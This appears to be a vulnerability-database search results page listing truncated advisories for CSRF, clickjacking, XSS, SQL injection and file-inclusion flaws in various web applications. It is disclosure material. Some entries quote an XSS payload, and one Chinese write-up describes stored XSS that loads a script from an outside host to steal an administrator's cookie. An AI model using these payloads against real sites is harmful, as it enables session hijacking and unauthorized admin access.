79 matches found
CVE-2017-17939
PHP Scripts Mall Single Theater Booking has CSRF via admin/sitesettings.php...
PHP Scripts Mall Car Rental Script Cross-Site Request Forgery Vulnerability
PHP Scripts Mall Car Rental Script is an open source website script for cab booking owners and agents. PHP Scripts Mall Car Rental Script suffers from a cross-site request forgery vulnerability. The vulnerability can be exploited to conduct cross-site request forgery attacks via...
Cuvva: https://admin.corp.cuvva.co/ is vulnerable to Clickjacking attacks due to missing X-Frame-Options
Description: I found the resource on https://admin.corp.cuvva.co/, which can be vulnerable to the Clickjacking. Impact The resource without X-Frame-Options potentially vulnerable to the Clickjacking. The vulnerability exist only for authenticated users possible UI redressing in the Dashboard...
dotCMS 3.x SQL Injection Vulnerability
Exploit for php platform in category web applications Title: Multiple SQL injection vulnerabilities in dotCMS 8x CVE Credit: Elar Lang / https://security.elarlang.eu Vendor/Product: dotCMS http://dotcms.com/ Vulnerability: SQL injection Vulnerable version: before 3.5; 3.3.1 and 3.3.2 depends on C...
Shopify: XSS in Draft Orders in Timeline i SHOPIFY Admin Site!
Create an Draft with a product named "img src=x onerror=prompt'XSSP' 2. Send the Draft to someone and complete the order. Order is shown as Completed Drafts as order.png 3. Create a timeline and reference this Draft. As soon as you click POST you will be XSSEd xss.png Thanks...
CVE-2015-4396
Multiple cross-site request forgery CSRF vulnerabilities in the Keyword Research module 6.x-1.x before 6.x-1.2 for Drupal allow remote attackers to hijack the authentication of users with the "kwresearch admin site keywords" permission for requests that 1 create, 2 delete, or 3 set priorities to...
Shopify: Expire User Sessions in Admin Site does not expire user session in Shopify Application in IOS
If an owner or an administrator clicks "Expire User Sessions" in Admin Site although you get the notification that all users where logged out, but this does not actually happens for the user that is currently logged in using the Shopify Application in IOS This was tested on the latest Shopify app...
Shopify: XSS in myshopify.com Admin site in TAX Overrides
POC: If you create a collection such as " and then go to Settings / Taxes and select "Add a tax override" then on the "Add Tax Override for Rest of World" select the previously created collection of " you can see it on the screen addtax.png. If you press the recycle bin "Delete Entire Override"...
程氏舞曲CMS最新版存储型XSS（已劫持到官网管理员）
简要描述： 通过最新版存储型XSS，已成功劫持到管理员cookie，并成功登录到官方演示站后台 P.S.管理员用的电脑是：土豪MAC！ 详细说明： 在会员中心-设置-昵称修改，发现已经过滤了，但是发现只过滤了一层，于是将写成ipt，保存后发现xss成功了 于是X入了这条语句，Jim叔叔ipt src=http://126.am/SlQop0ript，发现文本框有长度限制，但是只是前台的一个限制，修改了一下html提交保存成功！ 跳转到会员首页查看源代码 然后我添加了一首歌，在管理员审核的时候就劫持到了管理员的cookie 漏洞证明： 伪造成管理员的cookie后，成功登入歌曲管理后台...
Tochin Ecommerce Cross Site Scripting / SQL Injection
=============================================== Tochin Ecommerce Multiple Remote Vulnerability =============================================== .----..--.--.| |--..-----..----.| |.-----..-----. | || | || || -|| || || || | ||| ||||||| ||||| | || || Tochin Ecommerce Multiple Remote Vulnerability...
MobPartner Chat Multiple Sql Injection Vulnerabilities
No description provided by source. MobPartner Chat Multiple Sql Injection Vulnerability ============================================================================ .:. Author : AtT4CKxT3rR0r1ST [email protected] .:. Team : Sec Attack Team .:. Home : www.sec-attack.com/vb .:. Script : MobPartner .:...
MobPartner Chat Multiple Sql Injection Vulnerabilities
Exploit for unknown platform in category web applications ====================================================== MobPartner Chat Multiple Sql Injection Vulnerabilities ====================================================== .:. Script : MobPartner .:. Download Script:...
MobPartner Chat SQL Injection
MobPartner Chat Multiple Sql Injection Vulnerability ============================================================================ .:. Author : AtT4CKxT3rR0r1ST [email protected] .:. Team : Sec Attack Team .:. Home : www.sec-attack.com/vb .:. Script : MobPartner .:. Download Script:...
MobPartner Chat - Multiple SQL Injections
MobPartner Chat - Multiple SQL Injections MobPartner Chat Multiple Sql Injection Vulnerability ============================================================================ .:. Author : AtT4CKxT3rR0r1ST [email protected] .:. Team : Sec Attack Team .:. Home : www.sec-attack.com/vb .:. Script : MobPartner...
MobPartner Chat - Multiple SQL Injections
MobPartner Chat Multiple Sql Injection Vulnerability ============================================================================ .:. Author : AtT4CKxT3rR0r1ST [email protected] .:. Team : Sec Attack Team .:. Home : www.sec-attack.com/vb .:. Script : MobPartner .:. Download Script:...
crownweb (page.cfm) Sql Injection Vulnerability
Exploit for unknown platform in category web applications =============================================== crownweb page.cfm Sql Injection Vulnerability =============================================== .:. Script : crownweb .:. Language : Cfm .:. Script Download: http://www.crownweb.net/ .:. Bug Ty...
Pivot 1.40.4-7 Multiple Remote Vulnerabilities
No description provided by source. Pivot - XSS and HTML Injection Vulnerabilities Versions Affected: 1.40.4 and 1.40.7 22nd March 2009 newest Info: Pivot is a web-based tool to help you maintain dynamic sites, like weblogs or online journals. Pivot is released under the GPL so it is completely fr...
PT-2006-5154 · Toenda · Toendacms
Name of the Vulnerable Software and Affected Versions: ToendaCMS versions 1.0.3 and earlier Description: A remote file inclusion issue allows remote attackers to execute arbitrary PHP code via a URL in the tcms administer site parameter to an unspecified script, probably 'index.php'. Note that th...
